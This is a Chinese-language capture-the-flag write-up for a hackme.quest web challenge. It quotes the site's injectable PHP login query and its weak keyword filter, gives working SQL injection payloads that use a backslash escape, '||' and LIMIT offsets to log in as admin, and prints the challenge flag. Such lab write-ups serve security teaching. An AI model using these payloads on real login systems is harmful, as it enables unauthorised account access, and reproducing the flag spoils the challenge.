---
# System prepended metadata

title: '[Web] #21 login as admin 0'

---

# [Web] #21 login as admin 0

- 題號: 21
- 類型: Web
- 名稱: login as admin 0
- 得分: 50
- [網站連結](https://ctf.hackme.quest/scoreboard/)

## 題目
![](https://i.imgur.com/DwDSzX6.png)

- 提示：SQL injection

## 解題
1. 嘗試注入
    > <font class=black>' or 1=1#</font>
    > 
    > ![](https://i.imgur.com/iFRGwEE.png)
    > **失敗**

2. Source Code中發現部分字串會被替換
    ```php=
    function safe_filter($str)
    {
        $strl = strtolower($str);
        if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
            strstr($strl, 'update') || strstr($strl, 'delete')
        ) {
            return '';
        }
        return str_replace("'", "\\'", $str);
    }
    ```
    

3. 程式碼中與資料庫相關的部分

    ```php=
    // table schema
    // user -> id, user, password, is_admin
    ```
    
    ```php=
    // connect to database

    if(!empty($_POST['name']) && !empty($_POST['password'])) {
        $connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
        $db = new PDO($connection_string, DB_USER, DB_PASS);
        $sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
            $_POST['name'],
            $_POST['password']
    );
        try {
            $query = $db->query($sql);
            if($query) {
                $user = $query->fetchObject();
            } else {
                $user = false;
            }
        } catch(Exception $e) {
            $user = false;
        }
    }
    ```

4. 輸入錯誤後HTML程式碼會出現註解
    > ![](https://i.imgur.com/c8kjEMH.png)
    > ![](https://i.imgur.com/0jN3EIk.png)
    ```html=36
    <!-- debug: SELECT * FROM `user` WHERE `user` = 'ew' AND `password` = '123' -->
    ```

5. 因為 **'** 會被替換成 **\\'** ，所以再加上一個 **\** 跳脫前一個 **\\** 。而 **or** 也會被替換掉，所以改成 **||**。再次嘗試注入。
    > <font class=black>admin\\' || 1=1#</font>
    > 
    > ![](https://i.imgur.com/Jh6ROy6.png)
    > 
    > **登入了，但一樣是以guest身分進入**
    > 
    > ![](https://i.imgur.com/9Lp091C.png)


6. 加入limit檢索，回傳第一行
    > <font class=black>admin\\' || 1=1 limit 0,1#</font>
    > 或
    > <font class=black>admin\\' || 1=1 limit 1 offset 0#</font>
    > ![](https://i.imgur.com/a0K8paZ.png)
    > 
    > **可登入，但非admin**
    > 
    > ![](https://i.imgur.com/T7cuzMg.png)

7. 回傳第二行
    > <font class=black>admin\\' || 1=1 limit 1,1#</font>
    > 或
    > <font class=black>admin\\' || 1=1 limit 1 offset 1#</font>
    > 
    > ![](https://i.imgur.com/2VghcTB.png)
    > **成功登入**
    > 
    > ![](https://i.imgur.com/6MNkDRm.png)
    > **取得FLAG**
    
    > FLAG{\' UNION SELECT "I Know SQL Injection" #}

8. 再試試看第三行
    > <font class=black>admin\\' || 1=1 limit 2,1#</font>
    > 或
    > <font class=black>admin\\' || 1=1 limit 1 offset 2#</font>
    > ![](https://i.imgur.com/fu93tVo.png)
    > 
    > **可登入，但是以inddy身分登入**
    > 
    > ![](https://i.imgur.com/G4KuQo4.png)

9. 試試看第四行
    > <font class=black>admin\\' || 1=1 limit 3,1#</font>
    > 或
    > <font class=black>admin\\' || 1=1 limit 1 offset 3#</font>
    > 
    > ![](https://i.imgur.com/NI3blvc.png)
    > 
    > **失敗，應該是沒有使用者了吧?**
    > ![](https://i.imgur.com/K9yOD8V.png)

- [SQL Limit詳細說明](https://www.sqltutorial.org/sql-limit/)


<style>
    .green{
        color: green;
        font-weight: bold;
    }
    .black{
        color: black;
        font-weight: bold;
    }
    .purple{
        color: purple;
        font-weight: bold;
    }
    .red{
        color: red;
        font-weight: bold;
    }
    .blue{
        color: blue;
        font-weight: bold;
    }
</style>